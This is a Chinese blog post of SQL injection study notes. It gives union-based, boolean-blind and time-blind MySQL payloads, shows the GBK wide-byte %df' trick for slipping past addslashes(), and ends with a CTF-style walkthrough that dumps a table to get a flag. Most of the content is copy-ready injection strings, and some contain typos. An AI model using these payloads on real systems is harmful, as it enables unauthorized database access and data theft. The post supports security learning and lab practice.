美文网首页
再谈sql注入

再谈sql注入

作者: 楠昭 | 来源:发表于2019-12-06 21:01 被阅读0次

判断注入

  1. http://localhost/sqlilabs/Less-1/?id=3'
    用单引号测试报错则说明可以注入
    若没报错很有可能用addslashes()函数对敏感字符进行了转义。

类型

  1. 常规注入语句
1' order by num #        确定字段长度
1' union select 1,2,3 #  确定字段长度
-1' union select 1,2,3 # 判断页面中显示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #显示mysql中所有的数据库
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1     在注释符无法使用的情况下

2.bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

3.time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
  1. 宽字节注入
  • 前言:关于编码的基础参照之前的文章
    先说一下两种编码,gbk和utf-8,最大的区别就是在编码一个汉字时,gbk用两个字节,而utf-8用3个
  • 关键:解除addslashes()函数的影响
    由于addslashes()函数给敏感字符进行转义,则 ' 会变成 /' ,要解除影响就要想办法去掉 / ,这就是宽字节注入做的事情
  • 一般做法:在传入参数的地方传入%df'
    原理:由于%df'会被addslashes转义为 %df' 。\的hex编码(16进制编码)为5c,最后就会变为%df%5c'。因为gbk编码认为2个字节是一个汉字,所以%df%5c就被解释为 運,而单引号 ' 就逃逸出来了。最后SQL语句就变为:
SELECT * FROM news WHERE tid='運''
  • 总结:宽字节注入也就是想办法绕过对敏感字符输入的限制,之后的步骤和常规操作一样。

  • 来个实例

1.探索

在包头看到gb2312,说明可能存在宽字节注入
  1. 尝试


    输入%df'报错,则说明成功绕过转义

    3.注入过程

    • 猜解字段数
      index.php?id=1%bf' order by num %23
      其中num为1,2,3时正常,为4时报错说明字段数为3

    • 猜解显示位
      index.php?id=2%bf' union select 1,2,3 %23

    • 获取数据库中表的信息
      index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
      得到数据库中的表sae_user_sqli4

    • 获取字段信息
      index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23
      注意要把sae_user_sqli4转化成16进制
      得到表中字段如下 id,title_1,content_1

    • 脱裤
      index.php?id=-1%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23
      得到flag
      总结:通过这道题学会那些函数的使用还有一步步注入的思想 字段数->表名->字段名->数据

相关文章

  • 再谈sql注入

    判断注入 http://localhost/sqlilabs/Less-1/?id=3'用单引号测试报错则说明可以...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

  • 谈谈sql注入之语句构造手法(二)

    谈谈sql注入(一)谈谈sql注入(三)谈谈sql注入(四)SQL注入的手法相当灵活,在注入的时候会碰到很多意外的...

  • SQL注入三部曲-初级

    目录 什么是SQL注入SQL注入产生的原因SQL注入攻击方式如何进行SQL注入SQL注入三部曲 1.渗透攻防WEB...

  • sql注入那些事儿——如何优雅地进行SQL注入(3)

    传送门: sql注入那些事儿——如何优雅地进行SQL注入(1)sql注入那些事儿——如何优雅地进行SQL注入(2)...

网友评论

      本文标题:再谈sql注入

      本文链接:https://www.haomeiwen.com/subject/fmlyqftx.html